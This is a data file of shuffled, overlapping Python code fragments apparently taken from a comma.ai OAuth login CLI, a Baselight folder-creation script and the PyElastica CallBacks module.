"args.jwt is None: print(\"method JWT selected, but no JWT was",
"your browser and navigate to {oauth_uri}') webbrowser.open(oauth_uri, new=2) while True:",
"'text/plain') self.end_headers() self.wfile.write(b'Return to the CLI to continue') def log_message(self,",
"'https://www.googleapis.com/auth/userinfo.email', 'prompt': 'select_account', }) return 'https://accounts.google.com/o/oauth2/auth?' + urlencode(params) elif method",
"optional arguments: -h, --help show this help message and exit",
"UnauthorizedError from tools.lib.auth_config import set_token, get_token PORT = 3000 class",
"'code', 'scope': 'https://www.googleapis.com/auth/userinfo.email', 'prompt': 'select_account', }) return 'https://accounts.google.com/o/oauth2/auth?' + urlencode(params)",
"# pylint: disable=redefined-builtin pass # this prevent http server from",
"import sys import pprint import webbrowser from http.server import BaseHTTPRequestHandler,",
"NotImplementedError(f\"no redirect implemented for method {method}\") def login(method): oauth_uri =",
"web_server.query_params: print('Authentication Error: \"%s\". Description: \"%s\" ' % ( web_server.query_params['error'],",
"True: web_server.handle_request() if 'code' in web_server.query_params: break elif 'error' in",
"continue') def log_message(self, format, *args): # pylint: disable=redefined-builtin pass #",
"'select_account', }) return 'https://accounts.google.com/o/oauth2/auth?' + urlencode(params) elif method == 'github':",
"no JWT was provided\") exit(1) set_token(args.jwt) else: login(args.method) try: me",
"choices=['google', 'apple', 'github', 'jwt']) parser.add_argument('jwt', nargs='?') args = parser.parse_args() if",
"Account ./auth.py jwt ey......hw # Log in with a JWT",
"if method == 'google': params.update({ 'type': 'web_server', 'client_id': '45471411055-ornt4svd2miog6dnopve7qtmh5mnu6id.apps.googleusercontent.com', 'response_type':",
"to {oauth_uri}') webbrowser.open(oauth_uri, new=2) while True: web_server.handle_request() if 'code' in",
"in web_server.query_params: break elif 'error' in web_server.query_params: print('Authentication Error: \"%s\".",
"tools.lib.api import APIError, CommaApi, UnauthorizedError from tools.lib.auth_config import set_token, get_token",
"'redirect_uri': f\"https://api.comma.ai/v2/auth/{provider_id}/redirect/\", 'state': f'service,localhost:{PORT}', } if method == 'google': params.update({",
"= ClientRedirectServer(('localhost', PORT), ClientRedirectHandler) print(f'To sign in, use your browser",
"'code' in web_server.query_params: break elif 'error' in web_server.query_params: print('Authentication Error:",
"with google account ./auth.py github # Log in with GitHub",
"return 'https://accounts.google.com/o/oauth2/auth?' + urlencode(params) elif method == 'github': params.update({ 'client_id':",
"browser and navigate to {oauth_uri}') webbrowser.open(oauth_uri, new=2) while True: web_server.handle_request()",
"'apple', 'github', 'jwt']) parser.add_argument('jwt', nargs='?') args = parser.parse_args() if args.method",
"is None: print(\"method JWT selected, but no JWT was provided\")",
"1)[-1] query = parse_qs(query, keep_blank_values=True) self.server.query_params = query self.send_response(200) self.send_header('Content-type',",
"http server from dumping messages to stdout def auth_redirect_link(method): provider_id",
"stdout def auth_redirect_link(method): provider_id = { 'google': 'g', 'apple': 'a',",
"'https://appleid.apple.com/auth/authorize?' + urlencode(params) else: raise NotImplementedError(f\"no redirect implemented for method",
"break elif 'error' in web_server.query_params: print('Authentication Error: \"%s\". Description: \"%s\"",
"except APIError as e: print(f'Authentication Error: {e}', file=sys.stderr) if __name__",
"data={'code': web_server.query_params['code'], 'provider': web_server.query_params['provider']}) set_token(auth_resp['access_token']) except APIError as e: print(f'Authentication",
"= parser.parse_args() if args.method == 'jwt': if args.jwt is None:",
"urlencode from tools.lib.api import APIError, CommaApi, UnauthorizedError from tools.lib.auth_config import",
"import BaseHTTPRequestHandler, HTTPServer from typing import Any, Dict from urllib.parse",
"'error' in web_server.query_params: print('Authentication Error: \"%s\". Description: \"%s\" ' %",
"break try: auth_resp = CommaApi().post('v2/auth/', data={'code': web_server.query_params['code'], 'provider': web_server.query_params['provider']}) set_token(auth_resp['access_token'])",
"account ./auth.py github # Log in with GitHub Account ./auth.py",
"argparse import sys import pprint import webbrowser from http.server import",
"web_server.handle_request() if 'code' in web_server.query_params: break elif 'error' in web_server.query_params:",
"params.update({ 'client_id': '28c4ecb54bb7272cb5a4', 'scope': 'read:user', }) return 'https://github.com/login/oauth/authorize?' + urlencode(params)",
"+ urlencode(params) elif method == 'apple': params.update({ 'client_id': 'ai.comma.login', 'response_type':",
"pylint: disable=redefined-builtin pass # this prevent http server from dumping",
"\"\"\" Usage:: usage: auth.py [-h] [{google,apple,github,jwt}] [jwt] Login to your",
"'h', }[method] params = { 'redirect_uri': f\"https://api.comma.ai/v2/auth/{provider_id}/redirect/\", 'state': f'service,localhost:{PORT}', }",
"from tools.lib.auth_config import set_token, get_token PORT = 3000 class ClientRedirectServer(HTTPServer):",
"{e}', file=sys.stderr) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Login to",
"implemented for method {method}\") def login(method): oauth_uri = auth_redirect_link(method) web_server",
"try: auth_resp = CommaApi().post('v2/auth/', data={'code': web_server.query_params['code'], 'provider': web_server.query_params['provider']}) set_token(auth_resp['access_token']) except",
"Log in with google account ./auth.py github # Log in",
"method {method}\") def login(method): oauth_uri = auth_redirect_link(method) web_server = ClientRedirectServer(('localhost',",
"'apple': params.update({ 'client_id': 'ai.comma.login', 'response_type': 'code', 'response_mode': 'form_post', 'scope': 'name",
"your comma account positional arguments: {google,apple,github,jwt} jwt optional arguments: -h,",
"elif method == 'apple': params.update({ 'client_id': 'ai.comma.login', 'response_type': 'code', 'response_mode':",
"messages to stdout def auth_redirect_link(method): provider_id = { 'google': 'g',",
"% ( web_server.query_params['error'], web_server.query_params.get('error_description')), file=sys.stderr) break try: auth_resp = CommaApi().post('v2/auth/',",
"ClientRedirectHandler(BaseHTTPRequestHandler): def do_GET(self): if not self.path.startswith('/auth'): self.send_response(204) return query =",
"APIError, CommaApi, UnauthorizedError from tools.lib.auth_config import set_token, get_token PORT =",
"account') parser.add_argument('method', default='google', const='google', nargs='?', choices=['google', 'apple', 'github', 'jwt']) parser.add_argument('jwt',",
"pprint import webbrowser from http.server import BaseHTTPRequestHandler, HTTPServer from typing",
"new=2) while True: web_server.handle_request() if 'code' in web_server.query_params: break elif",
"log_message(self, format, *args): # pylint: disable=redefined-builtin pass # this prevent",
"disable=redefined-builtin pass # this prevent http server from dumping messages"
] |
[
"scene, foldername): conn, msg = getflapi() jobman = conn.JobManager stamp",
"the script. Copyright (c) 2020 <NAME>, Igor [at] hdhead.com, www.metafide.com",
"-*- coding: utf-8 -*- ''' Create a Baselight folder with",
"conn, msg = getflapi() jobman = conn.JobManager stamp = datetime.now().strftime('_%d-%b-%Y_%H.%M.%S')",
"flapi.FLAPIException: print 'Could not create a folder.' return False #",
"= datetime.now().strftime('_%d-%b-%Y_%H.%M.%S') try: jobman.create_folder(ip, scene, foldername + stamp) except flapi.FLAPIException:",
"conn.JobManager stamp = datetime.now().strftime('_%d-%b-%Y_%H.%M.%S') try: jobman.create_folder(ip, scene, foldername + stamp)",
"python # -*- coding: utf-8 -*- ''' Create a Baselight",
"folder with current date and time stamp. You must refresh",
"stamp) except flapi.FLAPIException: print 'Could not create a folder.' return",
"/usr/bin/env python # -*- coding: utf-8 -*- ''' Create a",
"Job Manager after running the script. Copyright (c) 2020 <NAME>,",
"import flapi from getflapi import getflapi from datetime import datetime",
"conn, msg = getflapi() print msg + '\\n' ip =",
"a Baselight folder with current date and time stamp. You",
"import datetime def make_dated_folder(ip, scene, foldername): conn, msg = getflapi()",
"msg + '\\n' ip = 'localhost' currentScene = 'Test01' folderName",
"ip = 'localhost' currentScene = 'Test01' folderName = 'MyFolder' make_dated_folder(ip,",
"try: jobman.create_folder(ip, scene, foldername + stamp) except flapi.FLAPIException: print 'Could",
"Create a Baselight folder with current date and time stamp.",
"jobman.create_folder(ip, scene, foldername + stamp) except flapi.FLAPIException: print 'Could not",
"2020 <NAME>, Igor [at] hdhead.com, www.metafide.com ''' import flapi from",
"# Cleanup conn.close() if __name__=='__main__': conn, msg = getflapi() print",
"def make_dated_folder(ip, scene, foldername): conn, msg = getflapi() jobman =",
"Cleanup conn.close() if __name__=='__main__': conn, msg = getflapi() print msg",
"with current date and time stamp. You must refresh the",
"= getflapi() jobman = conn.JobManager stamp = datetime.now().strftime('_%d-%b-%Y_%H.%M.%S') try: jobman.create_folder(ip,",
"after running the script. Copyright (c) 2020 <NAME>, Igor [at]",
"date and time stamp. You must refresh the Job Manager",
"from datetime import datetime def make_dated_folder(ip, scene, foldername): conn, msg",
"-*- ''' Create a Baselight folder with current date and",
"+ stamp) except flapi.FLAPIException: print 'Could not create a folder.'",
"msg = getflapi() print msg + '\\n' ip = 'localhost'",
"folder.' return False # Cleanup conn.close() if __name__=='__main__': conn, msg",
"<NAME>, Igor [at] hdhead.com, www.metafide.com ''' import flapi from getflapi",
"scene, foldername + stamp) except flapi.FLAPIException: print 'Could not create",
"hdhead.com, www.metafide.com ''' import flapi from getflapi import getflapi from",
"(c) 2020 <NAME>, Igor [at] hdhead.com, www.metafide.com ''' import flapi",
"print msg + '\\n' ip = 'localhost' currentScene = 'Test01'",
"+ '\\n' ip = 'localhost' currentScene = 'Test01' folderName =",
"flapi from getflapi import getflapi from datetime import datetime def",
"if __name__=='__main__': conn, msg = getflapi() print msg + '\\n'",
"You must refresh the Job Manager after running the script.",
"running the script. Copyright (c) 2020 <NAME>, Igor [at] hdhead.com,",
"= getflapi() print msg + '\\n' ip = 'localhost' currentScene",
"getflapi from datetime import datetime def make_dated_folder(ip, scene, foldername): conn,",
"utf-8 -*- ''' Create a Baselight folder with current date",
"'\\n' ip = 'localhost' currentScene = 'Test01' folderName = 'MyFolder'",
"print 'Could not create a folder.' return False # Cleanup",
"getflapi() jobman = conn.JobManager stamp = datetime.now().strftime('_%d-%b-%Y_%H.%M.%S') try: jobman.create_folder(ip, scene,",
"False # Cleanup conn.close() if __name__=='__main__': conn, msg = getflapi()",
"stamp = datetime.now().strftime('_%d-%b-%Y_%H.%M.%S') try: jobman.create_folder(ip, scene, foldername + stamp) except",
"Copyright (c) 2020 <NAME>, Igor [at] hdhead.com, www.metafide.com ''' import",
"conn.close() if __name__=='__main__': conn, msg = getflapi() print msg +",
"make_dated_folder(ip, scene, foldername): conn, msg = getflapi() jobman = conn.JobManager",
"a folder.' return False # Cleanup conn.close() if __name__=='__main__': conn,",
"= conn.JobManager stamp = datetime.now().strftime('_%d-%b-%Y_%H.%M.%S') try: jobman.create_folder(ip, scene, foldername +",
"# -*- coding: utf-8 -*- ''' Create a Baselight folder",
"getflapi() print msg + '\\n' ip = 'localhost' currentScene =",
"the Job Manager after running the script. Copyright (c) 2020",
"coding: utf-8 -*- ''' Create a Baselight folder with current",
"datetime import datetime def make_dated_folder(ip, scene, foldername): conn, msg =",
"__name__=='__main__': conn, msg = getflapi() print msg + '\\n' ip",
"current date and time stamp. You must refresh the Job",
"<gh_stars>1-10 #! /usr/bin/env python # -*- coding: utf-8 -*- '''",
"#! /usr/bin/env python # -*- coding: utf-8 -*- ''' Create",
"getflapi import getflapi from datetime import datetime def make_dated_folder(ip, scene,",
"'Could not create a folder.' return False # Cleanup conn.close()",
"[at] hdhead.com, www.metafide.com ''' import flapi from getflapi import getflapi",
"foldername + stamp) except flapi.FLAPIException: print 'Could not create a",
"time stamp. You must refresh the Job Manager after running",
"msg = getflapi() jobman = conn.JobManager stamp = datetime.now().strftime('_%d-%b-%Y_%H.%M.%S') try:",
"Igor [at] hdhead.com, www.metafide.com ''' import flapi from getflapi import",
"not create a folder.' return False # Cleanup conn.close() if",
"datetime.now().strftime('_%d-%b-%Y_%H.%M.%S') try: jobman.create_folder(ip, scene, foldername + stamp) except flapi.FLAPIException: print",
"Baselight folder with current date and time stamp. You must",
"= 'localhost' currentScene = 'Test01' folderName = 'MyFolder' make_dated_folder(ip, currentScene,",
"''' Create a Baselight folder with current date and time",
"return False # Cleanup conn.close() if __name__=='__main__': conn, msg =",
"datetime def make_dated_folder(ip, scene, foldername): conn, msg = getflapi() jobman",
"must refresh the Job Manager after running the script. Copyright",
"''' import flapi from getflapi import getflapi from datetime import",
"except flapi.FLAPIException: print 'Could not create a folder.' return False",
"from getflapi import getflapi from datetime import datetime def make_dated_folder(ip,",
"create a folder.' return False # Cleanup conn.close() if __name__=='__main__':",
"'localhost' currentScene = 'Test01' folderName = 'MyFolder' make_dated_folder(ip, currentScene, folderName)",
"refresh the Job Manager after running the script. Copyright (c)",
"and time stamp. You must refresh the Job Manager after",
"stamp. You must refresh the Job Manager after running the",
"script. Copyright (c) 2020 <NAME>, Igor [at] hdhead.com, www.metafide.com '''",
"Manager after running the script. Copyright (c) 2020 <NAME>, Igor",
"foldername): conn, msg = getflapi() jobman = conn.JobManager stamp =",
"import getflapi from datetime import datetime def make_dated_folder(ip, scene, foldername):",
"jobman = conn.JobManager stamp = datetime.now().strftime('_%d-%b-%Y_%H.%M.%S') try: jobman.create_folder(ip, scene, foldername",
"www.metafide.com ''' import flapi from getflapi import getflapi from datetime"
] |
[
"user. If the user wants to collect data from the",
"self._kwargs = kwargs return self def id(self): return self._sys_idx def",
"contains list of tuples. First element of tuple is rod",
"set by the user. If the user wants to collect",
"id for potentially better memory access # _callbacks contains list",
"*args, **kwargs): \"\"\"Constructs a callback functions after checks Parameters ----------",
"rod-like object. You need to input the system or rod-like",
") self._callback_cls = callback_cls self._args = args self._kwargs = kwargs",
"list *args Variable length argument list. **kwargs Arbitrary keyword arguments.",
"def _callBack(self, time, current_step: int, *args, **kwargs): for sys_id, callback",
"following elements are the type of boundary condition such as",
"a user-defined system or rod-like object. You need to input",
"call back. Did you forget to derive from CallBackClass?\".format( callback_cls",
"def __init__(self, sys_idx: int): \"\"\" Parameters ---------- sys_idx: int \"\"\"",
"class is used to collect data from user defined rod-like",
"from lowest id to highest id for potentially better memory",
"------- \"\"\" sys_idx = self._get_sys_idx_if_valid(system) # Create _Constraint object, cache",
"args self._kwargs = kwargs return self def id(self): return self._sys_idx",
"the boundary conditions # inplace : https://stackoverflow.com/a/1208792 # dev :",
"from user defined rod-like object. Parameters ---------- callback_cls: object User",
"*args Variable length argument list **kwargs Arbitrary keyword arguments. Returns",
"or rod-like object that you want to collect data from.",
"input the system or rod-like object that you want to",
"inplace : https://stackoverflow.com/a/1208792 # dev : the first index stores",
"Variable length argument list. **kwargs Arbitrary keyword arguments. \"\"\" def",
"from. Parameters ---------- system: object System is a rod-like object.",
"to set which callback class is used to collect data",
"be derived from the CallBacks class. Attributes ---------- _callbacks: list",
"Returns ------- \"\"\" assert issubclass( callback_cls, CallBackBaseClass ), \"{} is",
"\"but a callback was registered. Did you forget to call\"",
"_callbacks def _finalize(self): # From stored _CallBack objects, instantiate the",
"_sys_idx: rod object index _callback_cls: list *args Variable length argument",
"book-keeping # step. Being lazy, I put them both in",
"<reponame>zhidou2/PyElastica<gh_stars>10-100 __doc__ = \"\"\" CallBacks ----------- Provides the callBack interface",
"used to collect data from user defined rod-like object. Parameters",
"self._kwargs = {} def using(self, callback_cls, *args, **kwargs): \"\"\" This",
"\"{} is not a valid call back. Did you forget",
"Attributes ---------- _sys_idx: rod object index _callback_cls: list *args Variable",
"a wrapper to set which callback class is used to",
"# dev : the first index stores the rod index",
"method\".format(self.id()) ) try: return self._callback_cls(*self._args, **self._kwargs) except (TypeError, IndexError): raise",
"put them both in the same array self._callbacks[:] = [",
"the simulator class has to be derived from the CallBacks",
"of call back classes defined for rod-like objects. \"\"\" def",
"Returns ------- \"\"\" if not self._callback_cls: raise RuntimeError( \"No callback",
"of tuple is rod number and # following elements are",
"callBack interface to collect data over time (see `callback_functions.py`). \"\"\"",
"sys_idx = self._get_sys_idx_if_valid(system) # Create _Constraint object, cache it and",
"---------- _sys_idx: rod object index _callback_cls: list *args Variable length",
"\"No callback provided to act on rod id {0}\" \"but",
"_callbacks = _CallBack(sys_idx) self._callbacks.append(_callbacks) return _callbacks def _finalize(self): # From",
"object, cache it and return to user _callbacks = _CallBack(sys_idx)",
"def __init__(self): self._callbacks = [] super(CallBacks, self).__init__() def collect_diagnostics(self, system):",
"need to input the system or rod-like object that you",
"class has to be derived from the CallBacks class. Attributes",
"_CallBack objects, instantiate the boundary conditions # inplace : https://stackoverflow.com/a/1208792",
"object. Returns ------- \"\"\" sys_idx = self._get_sys_idx_if_valid(system) # Create _Constraint",
"system or rod-like object. You need to input the system",
": the first index stores the rod index to collect",
"callback_cls, CallBackBaseClass ), \"{} is not a valid call back.",
"you forget to call\" \"the `using` method\".format(self.id()) ) try: return",
"classes for a user-defined system or rod-like object. You need",
"self._callbacks.sort(key=lambda x: x[0]) self._callBack(time=0.0, current_step=0) # TODO: same as above",
"we iterate over the list of tuples and use rod",
"arguments. \"\"\" def __init__(self, sys_idx: int): \"\"\" Parameters ---------- sys_idx:",
"class. Attributes ---------- _callbacks: list List of call back classes",
"in the same array self._callbacks[:] = [ (callback.id(), callback(self._systems[callback.id()])) for",
"to construct callback class.\\n\" r\"Did you provide all necessary callback",
"forget to call\" \"the `using` method\".format(self.id()) ) try: return self._callback_cls(*self._args,",
"element of tuple is rod number and # following elements",
"arguments. Returns ------- \"\"\" assert issubclass( callback_cls, CallBackBaseClass ), \"{}",
"is used to collect data from user defined rod-like object.",
"**self._kwargs) except (TypeError, IndexError): raise TypeError( r\"Unable to construct callback",
"user-defined system or rod-like object. You need to input the",
"sort callbacks. self._callbacks.sort(key=lambda x: x[0]) self._callBack(time=0.0, current_step=0) # TODO: same",
"def using(self, callback_cls, *args, **kwargs): \"\"\" This method is a",
"array self._callbacks[:] = [ (callback.id(), callback(self._systems[callback.id()])) for callback in self._callbacks",
"simulator class has to be derived from the CallBacks class.",
"in self._callbacks ] # Sort from lowest id to highest",
"Arbitrary keyword arguments. Returns ------- \"\"\" assert issubclass( callback_cls, CallBackBaseClass",
"a valid call back. Did you forget to derive from",
"over time (see `callback_functions.py`). \"\"\" from elastica.callback_functions import CallBackBaseClass class",
"sys_id, callback in self._callbacks: callback.make_callback( self._systems[sys_id], time, current_step, *args, **kwargs",
"(TypeError, IndexError): raise TypeError( r\"Unable to construct callback class.\\n\" r\"Did",
"raise RuntimeError( \"No callback provided to act on rod id",
"# step. Being lazy, I put them both in the",
"int \"\"\" self._sys_idx = sys_idx self._callback_cls = None self._args =",
"by the user. If the user wants to collect data",
"kwargs Returns ------- \"\"\" if not self._callback_cls: raise RuntimeError( \"No",
"to collect data. # Technically we can use another array",
"return _callbacks def _finalize(self): # From stored _CallBack objects, instantiate",
"for rod-like objects. \"\"\" def __init__(self): self._callbacks = [] super(CallBacks,",
"for potentially better memory access # _callbacks contains list of",
"This method calls user-defined call-back classes for a user-defined system",
"same as above naming of _callBack function def _callBack(self, time,",
"\"\"\" self._sys_idx = sys_idx self._callback_cls = None self._args = ()",
"callback_cls: object User defined callback class. *args Variable length argument",
"keyword arguments. \"\"\" def __init__(self, sys_idx: int): \"\"\" Parameters ----------",
"to act on rod id {0}\" \"but a callback was",
"callbacks. self._callbacks.sort(key=lambda x: x[0]) self._callBack(time=0.0, current_step=0) # TODO: same as",
"# inplace : https://stackoverflow.com/a/1208792 # dev : the first index",
"Thus using lambda we iterate over the list of tuples",
"CallBacks: \"\"\" CallBacks class is a wrapper for calling callback",
"above naming of _callBack function def _callBack(self, time, current_step: int,",
"data from. Parameters ---------- system: object System is a rod-like",
"[ (callback.id(), callback(self._systems[callback.id()])) for callback in self._callbacks ] # Sort",
"we can use another array but it its one more",
"wrapper private class Attributes ---------- _sys_idx: rod object index _callback_cls:",
"rod object index _callback_cls: list *args Variable length argument list.",
"which callback class is used to collect data from user",
"and return to user _callbacks = _CallBack(sys_idx) self._callbacks.append(_callbacks) return _callbacks",
"def _finalize(self): # From stored _CallBack objects, instantiate the boundary",
"Being lazy, I put them both in the same array",
"sys_idx: int \"\"\" self._sys_idx = sys_idx self._callback_cls = None self._args",
"to sort callbacks. self._callbacks.sort(key=lambda x: x[0]) self._callBack(time=0.0, current_step=0) # TODO:",
"= sys_idx self._callback_cls = None self._args = () self._kwargs =",
"using(self, callback_cls, *args, **kwargs): \"\"\" This method is a wrapper",
"callback provided to act on rod id {0}\" \"but a",
"user defined rod-like object. Parameters ---------- callback_cls: object User defined",
"---------- sys_idx: int \"\"\" self._sys_idx = sys_idx self._callback_cls = None",
"**kwargs Arbitrary keyword arguments. \"\"\" def __init__(self, sys_idx: int): \"\"\"",
"not a valid call back. Did you forget to derive",
"[(0, MyCallBack), (1, MyVelocityCallBack), ... ] # Thus using lambda",
"user _callbacks = _CallBack(sys_idx) self._callbacks.append(_callbacks) return _callbacks def _finalize(self): #",
"Provides the callBack interface to collect data over time (see",
"class _CallBack: \"\"\" CallBack wrapper private class Attributes ---------- _sys_idx:",
"the list of tuples and use rod number (x[0]) #",
"more book-keeping # step. Being lazy, I put them both",
"was registered. Did you forget to call\" \"the `using` method\".format(self.id())",
"Attributes ---------- _callbacks: list List of call back classes defined",
"TODO: same as above naming of _callBack function def _callBack(self,",
"CallBackBaseClass ), \"{} is not a valid call back. Did",
"functions, set by the user. If the user wants to",
"simulation, the simulator class has to be derived from the",
"`callback_functions.py`). \"\"\" from elastica.callback_functions import CallBackBaseClass class CallBacks: \"\"\" CallBacks",
"construct callback class.\\n\" r\"Did you provide all necessary callback properties?\"",
"array but it its one more book-keeping # step. Being",
"rod-like object that you want to collect data from. Parameters",
"class CallBacks: \"\"\" CallBacks class is a wrapper for calling",
"int, *args, **kwargs): for sys_id, callback in self._callbacks: callback.make_callback( self._systems[sys_id],",
"\"\"\" def __init__(self, sys_idx: int): \"\"\" Parameters ---------- sys_idx: int",
"Parameters ---------- callback_cls: object User defined callback class. *args Variable",
"args kwargs Returns ------- \"\"\" if not self._callback_cls: raise RuntimeError(",
"_callbacks contains list of tuples. First element of tuple is",
"# Thus using lambda we iterate over the list of",
"------- \"\"\" assert issubclass( callback_cls, CallBackBaseClass ), \"{} is not",
"**kwargs): for sys_id, callback in self._callbacks: callback.make_callback( self._systems[sys_id], time, current_step,",
"over the list of tuples and use rod number (x[0])",
"objects. \"\"\" def __init__(self): self._callbacks = [] super(CallBacks, self).__init__() def",
"index to collect data. # Technically we can use another",
"access # _callbacks contains list of tuples. First element of",
"if not self._callback_cls: raise RuntimeError( \"No callback provided to act",
"---------- args kwargs Returns ------- \"\"\" if not self._callback_cls: raise",
"\"\"\" CallBacks class is a wrapper for calling callback functions,",
"rod-like object. Parameters ---------- callback_cls: object User defined callback class.",
"argument list **kwargs Arbitrary keyword arguments. Returns ------- \"\"\" assert",
"lambda we iterate over the list of tuples and use",
"a callback functions after checks Parameters ---------- args kwargs Returns",
"is rod number and # following elements are the type",
"collect data from the simulation, the simulator class has to",
"collect data from user defined rod-like object. Parameters ---------- callback_cls:",
"None self._args = () self._kwargs = {} def using(self, callback_cls,",
"call-back classes for a user-defined system or rod-like object. You",
"\"\"\" assert issubclass( callback_cls, CallBackBaseClass ), \"{} is not a",
"boundary conditions # inplace : https://stackoverflow.com/a/1208792 # dev : the",
"index stores the rod index to collect data. # Technically",
"self._callBack(time=0.0, current_step=0) # TODO: same as above naming of _callBack",
"iterate over the list of tuples and use rod number",
"the callBack interface to collect data over time (see `callback_functions.py`).",
"call\" \"the `using` method\".format(self.id()) ) try: return self._callback_cls(*self._args, **self._kwargs) except",
"CallBackBaseClass class CallBacks: \"\"\" CallBacks class is a wrapper for",
"can use another array but it its one more book-keeping",
"def collect_diagnostics(self, system): \"\"\" This method calls user-defined call-back classes",
"... ] # Thus using lambda we iterate over the",
"valid call back. Did you forget to derive from CallBackClass?\".format(",
"user wants to collect data from the simulation, the simulator",
"= [ (callback.id(), callback(self._systems[callback.id()])) for callback in self._callbacks ] #",
"length argument list. **kwargs Arbitrary keyword arguments. \"\"\" def __init__(self,",
"set which callback class is used to collect data from",
"naming of _callBack function def _callBack(self, time, current_step: int, *args,",
"the rod index to collect data. # Technically we can",
"[] super(CallBacks, self).__init__() def collect_diagnostics(self, system): \"\"\" This method calls",
"**kwargs Arbitrary keyword arguments. Returns ------- \"\"\" assert issubclass( callback_cls,",
"method is a wrapper to set which callback class is",
"to input the system or rod-like object that you want",
"https://stackoverflow.com/a/1208792 # dev : the first index stores the rod",
"defined callback class. *args Variable length argument list **kwargs Arbitrary",
"has to be derived from the CallBacks class. Attributes ----------",
"__init__(self, sys_idx: int): \"\"\" Parameters ---------- sys_idx: int \"\"\" self._sys_idx",
") try: return self._callback_cls(*self._args, **self._kwargs) except (TypeError, IndexError): raise TypeError(",
"self._systems[sys_id], time, current_step, *args, **kwargs ) class _CallBack: \"\"\" CallBack",
"is not a valid call back. Did you forget to",
"*args Variable length argument list. **kwargs Arbitrary keyword arguments. \"\"\"",
"functions after checks Parameters ---------- args kwargs Returns ------- \"\"\"",
"= self._get_sys_idx_if_valid(system) # Create _Constraint object, cache it and return",
"memory access # _callbacks contains list of tuples. First element",
"are the type of boundary condition such as # [(0,",
"CallBackClass?\".format( callback_cls ) self._callback_cls = callback_cls self._args = args self._kwargs",
"method calls user-defined call-back classes for a user-defined system or",
"*args, **kwargs): for sys_id, callback in self._callbacks: callback.make_callback( self._systems[sys_id], time,",
"rod number (x[0]) # to sort callbacks. self._callbacks.sort(key=lambda x: x[0])",
"Arbitrary keyword arguments. \"\"\" def __init__(self, sys_idx: int): \"\"\" Parameters",
"\"\"\" This method is a wrapper to set which callback",
"= [] super(CallBacks, self).__init__() def collect_diagnostics(self, system): \"\"\" This method",
"kwargs return self def id(self): return self._sys_idx def __call__(self, *args,",
"# Technically we can use another array but it its",
"callback class is used to collect data from user defined",
"callback.make_callback( self._systems[sys_id], time, current_step, *args, **kwargs ) class _CallBack: \"\"\"",
"another array but it its one more book-keeping # step.",
"CallBacks class is a wrapper for calling callback functions, set",
"_callBack function def _callBack(self, time, current_step: int, *args, **kwargs): for",
"return self def id(self): return self._sys_idx def __call__(self, *args, **kwargs):",
"class. *args Variable length argument list **kwargs Arbitrary keyword arguments.",
"callback in self._callbacks ] # Sort from lowest id to",
"classes defined for rod-like objects. \"\"\" def __init__(self): self._callbacks =",
"to collect data over time (see `callback_functions.py`). \"\"\" from elastica.callback_functions",
"*args, **kwargs): \"\"\" This method is a wrapper to set",
"# Sort from lowest id to highest id for potentially",
"CallBacks ----------- Provides the callBack interface to collect data over",
"_callbacks: list List of call back classes defined for rod-like",
"---------- callback_cls: object User defined callback class. *args Variable length",
"object index _callback_cls: list *args Variable length argument list. **kwargs",
"Returns ------- \"\"\" sys_idx = self._get_sys_idx_if_valid(system) # Create _Constraint object,",
"better memory access # _callbacks contains list of tuples. First",
"time, current_step, *args, **kwargs ) class _CallBack: \"\"\" CallBack wrapper",
"\"\"\" Parameters ---------- sys_idx: int \"\"\" self._sys_idx = sys_idx self._callback_cls",
": https://stackoverflow.com/a/1208792 # dev : the first index stores the",
"id to highest id for potentially better memory access #",
"callback_cls ) self._callback_cls = callback_cls self._args = args self._kwargs =",
"Did you forget to derive from CallBackClass?\".format( callback_cls ) self._callback_cls",
"provided to act on rod id {0}\" \"but a callback",
"the type of boundary condition such as # [(0, MyCallBack),",
"MyCallBack), (1, MyVelocityCallBack), ... ] # Thus using lambda we",
"rod-like object. Returns ------- \"\"\" sys_idx = self._get_sys_idx_if_valid(system) # Create",
"\"\"\" CallBacks ----------- Provides the callBack interface to collect data",
"the CallBacks class. Attributes ---------- _callbacks: list List of call",
"or rod-like object. You need to input the system or",
"RuntimeError( \"No callback provided to act on rod id {0}\"",
"act on rod id {0}\" \"but a callback was registered.",
"] # Thus using lambda we iterate over the list",
"tuples and use rod number (x[0]) # to sort callbacks.",
"CallBack wrapper private class Attributes ---------- _sys_idx: rod object index",
"for sys_id, callback in self._callbacks: callback.make_callback( self._systems[sys_id], time, current_step, *args,",
"Sort from lowest id to highest id for potentially better",
"number (x[0]) # to sort callbacks. self._callbacks.sort(key=lambda x: x[0]) self._callBack(time=0.0,",
"from elastica.callback_functions import CallBackBaseClass class CallBacks: \"\"\" CallBacks class is",
"\"\"\" def __init__(self): self._callbacks = [] super(CallBacks, self).__init__() def collect_diagnostics(self,",
"Parameters ---------- args kwargs Returns ------- \"\"\" if not self._callback_cls:",
"list of tuples. First element of tuple is rod number",
"(x[0]) # to sort callbacks. self._callbacks.sort(key=lambda x: x[0]) self._callBack(time=0.0, current_step=0)",
"registered. Did you forget to call\" \"the `using` method\".format(self.id()) )",
"to collect data from the simulation, the simulator class has",
"\"\"\" from elastica.callback_functions import CallBackBaseClass class CallBacks: \"\"\" CallBacks class",
"want to collect data from. Parameters ---------- system: object System",
"except (TypeError, IndexError): raise TypeError( r\"Unable to construct callback class.\\n\"",
"Did you forget to call\" \"the `using` method\".format(self.id()) ) try:",
"\"\"\" This method calls user-defined call-back classes for a user-defined",
"list. **kwargs Arbitrary keyword arguments. \"\"\" def __init__(self, sys_idx: int):",
"private class Attributes ---------- _sys_idx: rod object index _callback_cls: list",
"data from the simulation, the simulator class has to be",
"Parameters ---------- sys_idx: int \"\"\" self._sys_idx = sys_idx self._callback_cls =",
"of tuples and use rod number (x[0]) # to sort",
"collect data over time (see `callback_functions.py`). \"\"\" from elastica.callback_functions import",
"the system or rod-like object that you want to collect",
"cache it and return to user _callbacks = _CallBack(sys_idx) self._callbacks.append(_callbacks)",
"# [(0, MyCallBack), (1, MyVelocityCallBack), ... ] # Thus using",
"from CallBackClass?\".format( callback_cls ) self._callback_cls = callback_cls self._args = args",
"self._callback_cls = None self._args = () self._kwargs = {} def",
"# to sort callbacks. self._callbacks.sort(key=lambda x: x[0]) self._callBack(time=0.0, current_step=0) #",
"= kwargs return self def id(self): return self._sys_idx def __call__(self,",
"the simulation, the simulator class has to be derived from",
"as # [(0, MyCallBack), (1, MyVelocityCallBack), ... ] # Thus",
"of tuples. First element of tuple is rod number and",
"_callback_cls: list *args Variable length argument list. **kwargs Arbitrary keyword",
"**kwargs): \"\"\"Constructs a callback functions after checks Parameters ---------- args",
